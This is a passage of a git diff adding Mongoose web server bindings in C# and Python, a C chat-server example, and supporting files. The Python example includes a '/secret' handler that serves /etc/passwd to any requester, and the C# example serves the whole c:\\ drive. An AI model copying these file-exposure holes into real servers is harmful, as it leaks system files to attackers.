+ // Set options and /foo URI handler
+ web_server.set_option("ports", "8080");
+ web_server.set_option("root", "c:\\");
+ web_server.set_uri_callback("/foo", new MongooseCallback(UriHandler));
+ web_server.set_uri_callback("/dumpinfo", new MongooseCallback(UriDumpInfo));
+
+ // Serve requests until user presses "enter" on a keyboard
+ Console.ReadLine();
+ }
+}
diff --git a/mongoose/bindings/csharp/mongoose.cs b/mongoose/bindings/csharp/mongoose.cs
new file mode 100644
index 0000000..efdbb6b
--- /dev/null
+++ b/mongoose/bindings/csharp/mongoose.cs
@@ -0,0 +1,134 @@
+// Copyright (c) 2004-2009 Sergey Lyubka
+//
+// Permission is hereby granted, free of charge, to any person obtaining a copy
+// of this software and associated documentation files (the "Software"), to deal
+// in the Software without restriction, including without limitation the rights
+// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+// copies of the Software, and to permit persons to whom the Software is
+// furnished to do so, subject to the following conditions:
+//
+// The above copyright notice and this permission notice shall be included in
+// all copies or substantial portions of the Software.
+//
+// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+// THE SOFTWARE.
+//
+// $Id: mongoose.cs 472 2009-08-30 22:40:29Z spsone1 $
+
+using System;
+using System.Runtime.InteropServices;
+
+
+[StructLayout(LayoutKind.Sequential)] public struct MongooseHeader {
+ public IntPtr name; // Using IntPtr here because if we use strings here,
+ public IntPtr value; // it won't be properly marshalled.
+};
+
+// This is "struct mg_request_info" from mongoose.h header file
+[StructLayout(LayoutKind.Sequential)] public struct MongooseRequestInfo {
+ public string request_method;
+ public string uri;
+ public string http_version;
+ public string query_string;
+ public IntPtr post_data;
+ public string remote_user;
+ public int remote_ip; //int to match the 32bit declaration in c
+ public int remote_port;
+ public int post_data_len;
+ public int status_code;
+ public int num_headers;
+ [MarshalAs(UnmanagedType.ByValArray,SizeConst=64)] public MongooseHeader[] http_headers;
+};
+
+// This is a delegate for mg_callback_t from mongoose.h header file
+[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+public delegate void MongooseCallback2(IntPtr conn, ref MongooseRequestInfo ri, IntPtr user_data);
+
+// This is a delegate to be used by the application
+public delegate void MongooseCallback(MongooseConnection conn, MongooseRequestInfo ri);
+
+public class Mongoose {
+ public string version;
+ private IntPtr ctx;
+ //These two events are here to store a ref to the callbacks while they are over in unmanaged code.
+ private event MongooseCallback2 delegates2;
+ private event MongooseCallback delegates1;
+
+ [DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern IntPtr mg_start();
+ [DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern void mg_stop(IntPtr ctx);
+ [DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern string mg_version();
+ [DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern int mg_set_option(IntPtr ctx, string name, string value);
+ [DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern string mg_get_option(IntPtr ctx, string name);
+ [DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern void mg_set_uri_callback(IntPtr ctx, string uri_regex, MulticastDelegate func, IntPtr data);
+ [DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern void mg_set_log_callback(IntPtr ctx, MulticastDelegate func);
+
+ public Mongoose() {
+ ctx = mg_start();
+ version = mg_version();
+ }
+
+ ~Mongoose() {
+ mg_stop(this.ctx);
+ this.ctx = IntPtr.Zero;
+ }
+
+ public int set_option(string option_name, string option_value) {
+ return mg_set_option(this.ctx, option_name, option_value);
+ }
+
+ public string get_option(string option_name) {
+ return mg_get_option(this.ctx, option_name);
+ }
+
+ public void set_uri_callback(string uri_regex, MongooseCallback func) {
+ // Build a closure around user function. Initialize connection object there which wraps
+ // mg_write() and other useful methods, and then call user specified handler.
+ MongooseCallback2 callback = delegate(IntPtr conn, ref MongooseRequestInfo ri, IntPtr user_data) {
+ MongooseConnection connection = new MongooseConnection(conn, this);
+ func(connection, ri);
+ };
+ // store a reference to the callback so it won't be GC'ed while its over in unmanged code
+ delegates2 += callback;
+ mg_set_uri_callback(this.ctx, uri_regex, callback, IntPtr.Zero);
+ }
+
+ public void set_log_callback(MongooseCallback func) {
+ delegates1 += func;
+ mg_set_log_callback(this.ctx, func);
+ }
+}
+
+public class MongooseConnection {
+ public Mongoose mongoose;
+ private IntPtr conn;
+
+ [DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern string mg_get_header(IntPtr ctx, string name);
+ [DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern string mg_get_var(IntPtr ctx, string name);
+ [DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern void mg_free(IntPtr ptr);
+ [DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] public static extern int mg_write(IntPtr conn, string data, int length);
+
+ public MongooseConnection(IntPtr conn_, Mongoose mongoose_) {
+ mongoose = mongoose_;
+ conn = conn_;
+ }
+
+ public string get_header(string header_name) {
+ return mg_get_header(this.conn, header_name);
+ }
+
+ public string get_var(string header_name) {
+ string s = mg_get_var(this.conn, header_name);
+ string copy = "" + s;
+ mg_free(Marshal.StringToHGlobalAnsi(s));
+ return copy;
+ }
+
+ public int write(string data) {
+ return mg_write(this.conn, data, data.Length);
+ }
+}
diff --git a/mongoose/bindings/python/example.py b/mongoose/bindings/python/example.py
new file mode 100644
index 0000000..9c3f83e
--- /dev/null
+++ b/mongoose/bindings/python/example.py
@@ -0,0 +1,62 @@
+# This is Python example on how to use Mongoose embeddable web server,
+# http://code.google.com/p/mongoose
+#
+# Before using the mongoose module, make sure that Mongoose shared library is
+# built and present in the current (or system library) directory
+
+import mongoose
+import sys
+
+# Handle /show and /form URIs.
+def EventHandler(event, conn, info):
+ if event == mongoose.HTTP_ERROR:
+ conn.printf('%s', 'HTTP/1.0 200 OK\r\n')
+ conn.printf('%s', 'Content-Type: text/plain\r\n\r\n')
+ conn.printf('HTTP error: %d\n', info.status_code)
+ return True
+ elif event == mongoose.NEW_REQUEST and info.uri == '/show':
+ conn.printf('%s', 'HTTP/1.0 200 OK\r\n')
+ conn.printf('%s', 'Content-Type: text/plain\r\n\r\n')
+ conn.printf('%s %s\n', info.request_method, info.uri)
+ if info.request_method == 'POST':
+ content_len = conn.get_header('Content-Length')
+ post_data = conn.read(int(content_len))
+ my_var = conn.get_var(post_data, 'my_var')
+ else:
+ my_var = conn.get_var(info.query_string, 'my_var')
+ conn.printf('my_var: %s\n', my_var or '<not set>')
+ conn.printf('HEADERS: \n')
+ for header in info.http_headers[:info.num_headers]:
+ conn.printf(' %s: %s\n', header.name, header.value)
+ return True
+ elif event == mongoose.NEW_REQUEST and info.uri == '/form':
+ conn.write('HTTP/1.0 200 OK\r\n'
+ 'Content-Type: text/html\r\n\r\n'
+ 'Use GET: <a href="/show?my_var=hello">link</a>'
+ '<form action="/show" method="POST">'
+ 'Use POST: type text and submit: '
+ '<input type="text" name="my_var"/>'
+ '<input type="submit"/>'
+ '</form>')
+ return True
+ elif event == mongoose.NEW_REQUEST and info.uri == '/secret':
+ conn.send_file('/etc/passwd')
+ return True
+ else:
+ return False
+
+
+# Create mongoose object, and register '/foo' URI handler
+# List of options may be specified in the contructor
+server = mongoose.Mongoose(EventHandler,
+ document_root='/tmp',
+ listening_ports='8080')
+
+print ('Mongoose started on port %s, press enter to quit'
+ % server.get_option('listening_ports'))
+
+sys.stdin.read(1)
+
+# Deleting server object stops all serving threads
+print 'Stopping server.'
+del server
diff --git a/mongoose/bindings/python/mongoose.py b/mongoose/bindings/python/mongoose.py
new file mode 100644
index 0000000..19a8ea7
--- /dev/null
+++ b/mongoose/bindings/python/mongoose.py
@@ -0,0 +1,159 @@
+# Copyright (c) 2004-2009 Sergey Lyubka
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in
+# all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+#
+# $Id: mongoose.py 471 2009-08-30 14:30:21Z valenok $
+
+"""
+This module provides python binding for the Mongoose web server.
+
+There are two classes defined:
+
+ Connection: - wraps all functions that accept struct mg_connection pointer
+ as first argument.
+
+ Mongoose: wraps all functions that accept struct mg_context pointer as
+ first argument.
+
+ Creating Mongoose object automatically starts server, deleting object
+ automatically stops it. There is no need to call mg_start() or mg_stop().
+"""
+
+
+import ctypes
+import os
+
+
+NEW_REQUEST = 0
+HTTP_ERROR = 1
+EVENT_LOG = 2
+INIT_SSL = 3
+
+
+class mg_header(ctypes.Structure):
+ """A wrapper for struct mg_header."""
+ _fields_ = [
+ ('name', ctypes.c_char_p),
+ ('value', ctypes.c_char_p),
+ ]
+
+
+class mg_request_info(ctypes.Structure):
+ """A wrapper for struct mg_request_info."""
+ _fields_ = [
+ ('user_data', ctypes.c_char_p),
+ ('request_method', ctypes.c_char_p),
+ ('uri', ctypes.c_char_p),
+ ('http_version', ctypes.c_char_p),
+ ('query_string', ctypes.c_char_p),
+ ('remote_user', ctypes.c_char_p),
+ ('log_message', ctypes.c_char_p),
+ ('remote_ip', ctypes.c_long),
+ ('remote_port', ctypes.c_int),
+ ('status_code', ctypes.c_int),
+ ('is_ssl', ctypes.c_int),
+ ('num_headers', ctypes.c_int),
+ ('http_headers', mg_header * 64),
+ ]
+
+
+mg_callback_t = ctypes.CFUNCTYPE(ctypes.c_void_p,
+ ctypes.c_int,
+ ctypes.c_void_p,
+ ctypes.POINTER(mg_request_info))
+
+
+class Connection(object):
+ """A wrapper class for all functions that take
+ struct mg_connection * as the first argument."""
+
+ def __init__(self, mongoose, connection):
+ self.m = mongoose
+ self.conn = ctypes.c_void_p(connection)
+
+ def get_header(self, name):
+ val = self.m.dll.mg_get_header(self.conn, name)
+ return ctypes.c_char_p(val).value
+
+ def get_var(self, data, name):
+ size = data and len(data) or 0
+ buf = ctypes.create_string_buffer(size)
+ n = self.m.dll.mg_get_var(data, size, name, buf, size)
+ return n >= 0 and buf or None
+
+ def printf(self, fmt, *args):
+ val = self.m.dll.mg_printf(self.conn, fmt, *args)
+ return ctypes.c_int(val).value
+
+ def write(self, data):
+ val = self.m.dll.mg_write(self.conn, data, len(data))
+ return ctypes.c_int(val).value
+
+ def read(self, size):
+ buf = ctypes.create_string_buffer(size)
+ n = self.m.dll.mg_read(self.conn, buf, size)
+ return n <= 0 and None or buf[:n]
+
+ def send_file(self, path):
+ self.m.dll.mg_send_file(self.conn, path)
+
+
+class Mongoose(object):
+ """A wrapper class for Mongoose shared library."""
+
+ def __init__(self, callback, **kwargs):
+ dll_extension = os.name == 'nt' and 'dll' or 'so'
+ self.dll = ctypes.CDLL('_mongoose.%s' % dll_extension)
+
+ self.dll.mg_start.restype = ctypes.c_void_p
+ self.dll.mg_modify_passwords_file.restype = ctypes.c_int
+ self.dll.mg_read.restype = ctypes.c_int
+ self.dll.mg_write.restype = ctypes.c_int
+ self.dll.mg_printf.restype = ctypes.c_int
+ self.dll.mg_get_header.restype = ctypes.c_char_p
+ self.dll.mg_get_var.restype = ctypes.c_int
+ self.dll.mg_get_cookie.restype = ctypes.c_int
+ self.dll.mg_get_option.restype = ctypes.c_char_p
+
+ if callback:
+ # Create a closure that will be called by the shared library.
+ def func(event, connection, request_info):
+ # Wrap connection pointer into the connection
+ # object and call Python callback
+ conn = Connection(self, connection)
+ return callback(event, conn, request_info.contents) and 1 or 0
+
+ # Convert the closure into C callable object
+ self.callback = mg_callback_t(func)
+ self.callback.restype = ctypes.c_char_p
+ else:
+ self.callback = ctypes.c_void_p(0)
+
+ args = [y for x in kwargs.items() for y in x] + [None]
+ options = (ctypes.c_char_p * len(args))(*args)
+
+ ret = self.dll.mg_start(self.callback, 0, options)
+ self.ctx = ctypes.c_void_p(ret)
+
+ def __del__(self):
+ """Destructor, stop Mongoose instance."""
+ self.dll.mg_stop(self.ctx)
+
+ def get_option(self, name):
+ return self.dll.mg_get_option(self.ctx, name)
diff --git a/mongoose/examples/Makefile b/mongoose/examples/Makefile
new file mode 100644
index 0000000..46691e3
--- /dev/null
+++ b/mongoose/examples/Makefile
@@ -0,0 +1,7 @@
+CFLAGS= -W -Wall -I.. -pthread -g
+
+all:
+ OS=`uname`; \
+ test "$$OS" = Linux && LIBS="-ldl" ; \
+ $(CC) $(CFLAGS) hello.c ../mongoose.c $$LIBS $(ADD) -o hello;
+ $(CC) $(CFLAGS) chat.c ../mongoose.c $$LIBS $(ADD) -o chat
diff --git a/mongoose/examples/chat.c b/mongoose/examples/chat.c
new file mode 100644
index 0000000..8ce6833
--- /dev/null
+++ b/mongoose/examples/chat.c
@@ -0,0 +1,390 @@
+/*
+ * This file is part of the Mongoose project, http://code.google.com/p/mongoose
+ * It implements an online chat server. For more details,
+ * see the documentation on the project web site.
+ * To test the application,
+ * 1. type "make" in the directory where this file lives
+ * 2. point your browser to http://127.0.0.1:8081
+ *
+ * NOTE(lsm): this file follows Google style, not BSD style as the rest of
+ * Mongoose code.
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <assert.h>
+#include <string.h>
+#include <time.h>
+#include <stdarg.h>
+#include <pthread.h>
+
+#include "mongoose.h"
+
+#define MAX_USER_LEN 20
+#define MAX_MESSAGE_LEN 100
+#define MAX_MESSAGES 5
+#define MAX_SESSIONS 2
+#define SESSION_TTL 120
+
+static const char *authorize_url = "/authorize";
+static const char *login_url = "/login.html";
+static const char *ajax_reply_start =
+ "HTTP/1.1 200 OK\r\n"
+ "Cache: no-cache\r\n"
+ "Content-Type: application/x-javascript\r\n"
+ "\r\n";
+
+// Describes single message sent to a chat. If user is empty (0 length),
+// the message is then originated from the server itself.
+struct message {
+ long id; // Message ID
+ char user[MAX_USER_LEN]; // User that have sent the message
+ char text[MAX_MESSAGE_LEN]; // Message text
+ time_t timestamp; // Message timestamp, UTC
+};
+
+// Describes web session.
+struct session {
+ char session_id[33]; // Session ID, must be unique
+ char random[20]; // Random data used for extra user validation
+ char user[MAX_USER_LEN]; // Authenticated user
+ time_t expire; // Expiration timestamp, UTC
+};
+
+static struct message messages[MAX_MESSAGES]; // Ringbuffer for messages
+static struct session sessions[MAX_SESSIONS]; // Current sessions
+static long last_message_id;
+
+// Protects messages, sessions, last_message_id
+static pthread_rwlock_t rwlock = PTHREAD_RWLOCK_INITIALIZER;
+
+// Get session object for the connection. Caller must hold the lock.
+static struct session *get_session(const struct mg_connection *conn) {
+ int i;
+ char session_id[33];
+ time_t now = time(NULL);
+ mg_get_cookie(conn, "session", session_id, sizeof(session_id));
+ for (i = 0; i < MAX_SESSIONS; i++) {
+ if (sessions[i].expire != 0 &&
+ sessions[i].expire > now &&
+ strcmp(sessions[i].session_id, session_id) == 0) {
+ break;
+ }
+ }
+ return i == MAX_SESSIONS ? NULL : &sessions[i];
+}
+
+static void get_qsvar(const struct mg_request_info *request_info,
+ const char *name, char *dst, size_t dst_len) {
+ const char *qs = request_info->query_string;
+ mg_get_var(qs, strlen(qs == NULL ? "" : qs), name, dst, dst_len);
+}
+
+// Get a get of messages with IDs greater than last_id and transform them
+// into a JSON string. Return that string to the caller. The string is
+// dynamically allocated, caller must free it. If there are no messages,
+// NULL is returned.
+static char *messages_to_json(long last_id) {
+ const struct message *message;
+ int max_msgs, len;
+ char buf[sizeof(messages)]; // Large enough to hold all messages
+
+ // Read-lock the ringbuffer. Loop over all messages, making a JSON string.
+ pthread_rwlock_rdlock(&rwlock);
+ len = 0;
+ max_msgs = sizeof(messages) / sizeof(messages[0]);
+ // If client is too far behind, return all messages.
+ if (last_message_id - last_id > max_msgs) {
+ last_id = last_message_id - max_msgs;
+ }
+ for (; last_id < last_message_id; last_id++) {
+ message = &messages[last_id % max_msgs];
+ if (message->timestamp == 0) {
+ break;
+ }
+ // buf is allocated on stack and hopefully is large enough to hold all
+ // messages (it may be too small if the ringbuffer is full and all
+ // messages are large. in this case asserts will trigger).
+ len += snprintf(buf + len, sizeof(buf) - len,
+ "{user: '%s', text: '%s', timestamp: %lu, id: %lu},",
+ message->user, message->text, message->timestamp, message->id);
+ assert(len > 0);
+ assert((size_t) len < sizeof(buf));
+ }
+ pthread_rwlock_unlock(&rwlock);
+
+ return len == 0 ? NULL : strdup(buf);
+}
+
+// If "callback" param is present in query string, this is JSONP call.
+// Return 1 in this case, or 0 if "callback" is not specified.
+// Wrap an output in Javascript function call.
+static int handle_jsonp(struct mg_connection *conn,
+ const struct mg_request_info *request_info) {
+ char cb[64];
+
+ get_qsvar(request_info, "callback", cb, sizeof(cb));
+ if (cb[0] != '\0') {
+ mg_printf(conn, "%s(", cb);
+ }
+
+ return cb[0] == '\0' ? 0 : 1;
+}
+
+// A handler for the /ajax/get_messages endpoint.
+// Return a list of messages with ID greater than requested.
+static void ajax_get_messages(struct mg_connection *conn,
+ const struct mg_request_info *request_info) {
+ char last_id[32], *json;
+ int is_jsonp;
+
+ mg_printf(conn, "%s", ajax_reply_start);
+ is_jsonp = handle_jsonp(conn, request_info);
+
+ get_qsvar(request_info, "last_id", last_id, sizeof(last_id));
+ if ((json = messages_to_json(strtoul(last_id, NULL, 10))) != NULL) {
+ mg_printf(conn, "[%s]", json);
+ free(json);
+ }
+
+ if (is_jsonp) {
+ mg_printf(conn, "%s", ")");
+ }
+}
+
+// Allocate new message. Caller must hold the lock.
+static struct message *new_message(void) {
+ static int size = sizeof(messages) / sizeof(messages[0]);
+ struct message *message = &messages[last_message_id % size];
+ message->id = last_message_id++;
+ message->timestamp = time(0);
+ return message;
+}
+
+static void my_strlcpy(char *dst, const char *src, size_t len) {
+ strncpy(dst, src, len);
+ dst[len - 1] = '\0';
+}
+
+// A handler for the /ajax/send_message endpoint.
+static void ajax_send_message(struct mg_connection *conn,
+ const struct mg_request_info *request_info) {
+ struct message *message;
+ struct session *session;
+ char text[sizeof(message->text) - 1];
+ int is_jsonp;
+
+ mg_printf(conn, "%s", ajax_reply_start);
+ is_jsonp = handle_jsonp(conn, request_info);
+
+ get_qsvar(request_info, "text", text, sizeof(text));
+ if (text[0] != '\0') {
+ // We have a message to store. Write-lock the ringbuffer,
+ // grab the next message and copy data into it.
+ pthread_rwlock_wrlock(&rwlock);
+ message = new_message();
+ // TODO(lsm): JSON-encode all text strings
+ session = get_session(conn);
+ assert(session != NULL);
+ my_strlcpy(message->text, text, sizeof(text));
+ my_strlcpy(message->user, session->user, sizeof(message->user));
+ pthread_rwlock_unlock(&rwlock);
+ }
+
+ mg_printf(conn, "%s", text[0] == '\0' ? "false" : "true");
+
+ if (is_jsonp) {
+ mg_printf(conn, "%s", ")");
+ }
+}
+
+// Redirect user to the login form. In the cookie, store the original URL
+// we came from, so that after the authorization we could redirect back.
+static void redirect_to_login(struct mg_connection *conn,
+ const struct mg_request_info *request_info) {
+ mg_printf(conn, "HTTP/1.1 302 Found\r\n"
+ "Set-Cookie: original_url=%s\r\n"
+ "Location: %s\r\n\r\n",
+ request_info->uri, login_url);
+}
+
+// Return 1 if username/password is allowed, 0 otherwise.
+static int check_password(const char *user, const char *password) {
+ // In production environment we should ask an authentication system
+ // to authenticate the user.
+ // Here however we do trivial check that user and password are not empty
+ return (user[0] && password[0]);
+}
+
+// Allocate new session object
+static struct session *new_session(void) {
+ int i;
+ time_t now = time(NULL);
+ pthread_rwlock_wrlock(&rwlock);
+ for (i = 0; i < MAX_SESSIONS; i++) {
+ if (sessions[i].expire == 0 || sessions[i].expire < now) {
+ sessions[i].expire = time(0) + SESSION_TTL;
+ break;
+ }
+ }
+ pthread_rwlock_unlock(&rwlock);
+ return i == MAX_SESSIONS ? NULL : &sessions[i];
+}
+
+// Generate session ID. buf must be 33 bytes in size.
+// Note that it is easy to steal session cookies by sniffing traffic.
+// This is why all communication must be SSL-ed.
+static void generate_session_id(char *buf, const char *random,
+ const char *user) {
+ mg_md5(buf, random, user, NULL);
+}
+
+static void send_server_message(const char *fmt, ...) {
+ va_list ap;
+ struct message *message;
+
+ pthread_rwlock_wrlock(&rwlock);
+ message = new_message();
+ message->user[0] = '\0'; // Empty user indicates server message
+ va_start(ap, fmt);
+ vsnprintf(message->text, sizeof(message->text), fmt, ap);
+ va_end(ap);
+
+ pthread_rwlock_unlock(&rwlock);
+}
+
+// A handler for the /authorize endpoint.
+// Login page form sends user name and password to this endpoint.
+static void authorize(struct mg_connection *conn,
+ const struct mg_request_info *request_info) {
+ char user[MAX_USER_LEN], password[MAX_USER_LEN];
+ struct session *session;
+
+ // Fetch user name and password.
+ get_qsvar(request_info, "user", user, sizeof(user));
+ get_qsvar(request_info, "password", password, sizeof(password));
+
+ if (check_password(user, password) && (session = new_session()) != NULL) {
+ // Authentication success:
+ // 1. create new session
+ // 2. set session ID token in the cookie
+ // 3. remove original_url from the cookie - not needed anymore
+ // 4. redirect client back to the original URL
+ //
+ // The most secure way is to stay HTTPS all the time. However, just to
+ // show the technique, we redirect to HTTP after the successful
+ // authentication. The danger of doing this is that session cookie can
+ // be stolen and an attacker may impersonate the user.
+ // Secure application must use HTTPS all the time.
+ my_strlcpy(session->user, user, sizeof(session->user));
+ snprintf(session->random, sizeof(session->random), "%d", rand());
+ generate_session_id(session->session_id, session->random, session->user);
+ send_server_message("<%s> joined", session->user);
+ mg_printf(conn, "HTTP/1.1 302 Found\r\n"
+ "Set-Cookie: session=%s; max-age=3600; http-only\r\n" // Session ID
+ "Set-Cookie: user=%s\r\n" // Set user, needed by Javascript code
+ "Set-Cookie: original_url=/; max-age=0\r\n" // Delete original_url
+ "Location: /\r\n\r\n",
+ session->session_id, session->user);
+ } else {
+ // Authentication failure, redirect to login.
+ redirect_to_login(conn, request_info);
+ }
+}
+
+// Return 1 if request is authorized, 0 otherwise.
+static int is_authorized(const struct mg_connection *conn,
+ const struct mg_request_info *request_info) {
+ struct session *session;
+ char valid_id[33];
+ int authorized = 0;
+
+ // Always authorize accesses to login page and to authorize URI
+ if (!strcmp(request_info->uri, login_url) ||
+ !strcmp(request_info->uri, authorize_url)) {
+ return 1;
+ }
+
+ pthread_rwlock_rdlock(&rwlock);
+ if ((session = get_session(conn)) != NULL) {
+ generate_session_id(valid_id, session->random, session->user);
+ if (strcmp(valid_id, session->session_id) == 0) {
+ session->expire = time(0) + SESSION_TTL;
+ authorized = 1;
+ }
+ }
+ pthread_rwlock_unlock(&rwlock);
+
+ return authorized;
+}
+
+static void redirect_to_ssl(struct mg_connection *conn,
+ const struct mg_request_info *request_info) {
+ const char *p, *host = mg_get_header(conn, "Host");
+ if (host != NULL && (p = strchr(host, ':')) != NULL) {
+ mg_printf(conn, "HTTP/1.1 302 Found\r\n"
+ "Location: https://%.*s:8082/%s:8082\r\n\r\n",
+ p - host, host, request_info->uri);
+ } else {
+ mg_printf(conn, "%s", "HTTP/1.1 500 Error\r\n\r\nHost: header is not set");
+ }
+}
+
+static void *event_handler(enum mg_event event,
+ struct mg_connection *conn,
+ const struct mg_request_info *request_info) {
+ void *processed = "yes";
+
+ if (event == MG_NEW_REQUEST) {
+ if (!request_info->is_ssl) {
+ redirect_to_ssl(conn, request_info);
+ } else if (!is_authorized(conn, request_info)) {
+ redirect_to_login(conn, request_info);
+ } else if (strcmp(request_info->uri, authorize_url) == 0) {
+ authorize(conn, request_info);
+ } else if (strcmp(request_info->uri, "/ajax/get_messages") == 0) {
+ ajax_get_messages(conn, request_info);
+ } else if (strcmp(request_info->uri, "/ajax/send_message") == 0) {
+ ajax_send_message(conn, request_info);
+ } else {
+ // No suitable handler found, mark as not processed. Mongoose will
+ // try to serve the request.
+ processed = NULL;
+ }
+ } else {
+ processed = NULL;
+ }
+
+ return processed;
+}
+
+static const char *options[] = {
+ "document_root", "html",
+ "listening_ports", "8081,8082s",
+ "ssl_certificate", "ssl_cert.pem",
+ "num_threads", "5",
+ NULL
+};
+
+int main(void) {
+ struct mg_context *ctx;
+
+ // Initialize random number generator. It will be used later on for
+ // the session identifier creation.
+ srand((unsigned) time(0));
+
+ // Setup and start Mongoose
+ ctx = mg_start(&event_handler, NULL, options);
+ assert(ctx != NULL);
+
+ // Wait until enter is pressed, then exit
+ printf("Chat server started on ports %s, press enter to quit.\n",
+ mg_get_option(ctx, "listening_ports"));
+ getchar();
+ mg_stop(ctx);
+ printf("%s\n", "Chat server stopped.");
+
+ return EXIT_SUCCESS;
+}
+
+// vim:ts=2:sw=2:et
diff --git a/mongoose/examples/hello.c b/mongoose/examples/hello.c
new file mode 100644
index 0000000..d193f93
--- /dev/null
+++ b/mongoose/examples/hello.c
@@ -0,0 +1,28 @@
+#include <stdio.h>
+#include <string.h>
+#include "mongoose.h"
+
+static void *callback(enum mg_event event,
+ struct mg_connection *conn,
+ const struct mg_request_info *request_info) {
+ if (event == MG_NEW_REQUEST) {
+ // Echo requested URI back to the client
+ mg_printf(conn, "HTTP/1.1 200 OK\r\n"
+ "Content-Type: text/plain\r\n\r\n"
+ "%s", request_info->uri);
+ return ""; // Mark as processed
+ } else {
+ return NULL;
+ }
+}
+
+int main(void) {
+ struct mg_context *ctx;
+ const char *options[] = {"listening_ports", "8080", NULL};
+
+ ctx = mg_start(&callback, NULL, options);
+ getchar(); // Wait until user hits "enter"
+ mg_stop(ctx);
+
+ return 0;
+}
diff --git a/mongoose/examples/html/favicon.ico b/mongoose/examples/html/favicon.ico
new file mode 100644
index 0000000..2179aba
--- /dev/null
+++ b/mongoose/examples/html/favicon.ico
Binary files differ
diff --git a/mongoose/examples/html/index.html b/mongoose/examples/html/index.html
new file mode 100644
index 0000000..ee53ead
--- /dev/null
+++ b/mongoose/examples/html/index.html
@@ -0,0 +1,73 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en" dir="ltr">
+ <!-- This file is part of the Mongoose project,
+ http://code.google.com/p/mongoose -->
+ <head>
+ <title>Mongoose chat server</title>
+ <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
+ <link type="text/css" rel="stylesheet" href="style.css"/>
+ <script src="jquery.js"></script>
+ <script src="main.js"></script>
+ </head>
+
+ <body>
+ <div id="header">
+ <div id="logo"></div>
+ <div class="rounded infobox help-message" id="motd">
+ Chat room implemented using
+ <a href="http://code.google.com/p/mongoose" target="_blank">Mongoose</a>
+ embeddable web server.
+ This application was written for educational purposes demonstrating
+ how web interface could be decoupled from the business logic. Not a
+ single line of HTML is generated by the server, instead, server
+ gives data to the client in JSON format.
+ </div>
+ </div>
+ <div>
+
+ <div id="middle">
+ <div><center><span id="error" class="rounded"></span><center></div>
+
+ <div id="menu">
+ <div class="menu-item left-rounded menu-item-selected"
+ name="chat">Chat</div>
+ <div class="menu-item left-rounded" name="settings">Settings</div>
+ </div>
+
+ <div id="content" class="rounded">
+
+ <div id="chat" class="main">
+ <div class="chat-window">
+ <span class="top-rounded chat-title">Main room</span>
+ <div class="bottom-rounded chat-content">
+ <div class="message-list" id="mml">
+ </div>
+ <input type="text" size="40" class="message-input"></input>
+ <span class="help-message">
+ Type your message here and press enter</span>
+ </div>
+ </div>
+ </div>
+
+ <div id="settings" class="hidden main">
+ <div>
+ <span class="top-rounded chat-title">Settings</span>
+ <div class="bottom-rounded chat-content">
+ <table>
+ <tr><td>Max messages to display:</td><td>blah blah</td></tr>
+ <tr><td>Text color:</td><td>blah blah</td></tr>
+ </table>
+ </div>
+ </div>
+ </div>
+
+ </div>
+ </div>
+
+ <div id="footer">
+ Copyright &copy; 2004-2010 by Sergey Lyubka
+ </div>
+
+ </body>
+</html>
diff --git a/mongoose/examples/html/jquery.js b/mongoose/examples/html/jquery.js
new file mode 100644
index 0000000..7c24308
--- /dev/null
+++ b/mongoose/examples/html/jquery.js
@@ -0,0 +1,154 @@
+/*!
+ * jQuery JavaScript Library v1.4.2
+ * http://jquery.com/
+ *
+ * Copyright 2010, John Resig
+ * Dual licensed under the MIT or GPL Version 2 licenses.
+ * http://jquery.org/license
+ *
+ * Includes Sizzle.js
+ * http://sizzlejs.com/
+ * Copyright 2010, The Dojo Foundation
+ * Released under the MIT, BSD, and GPL Licenses.
+ *
+ * Date: Sat Feb 13 22:33:48 2010 -0500
+ */
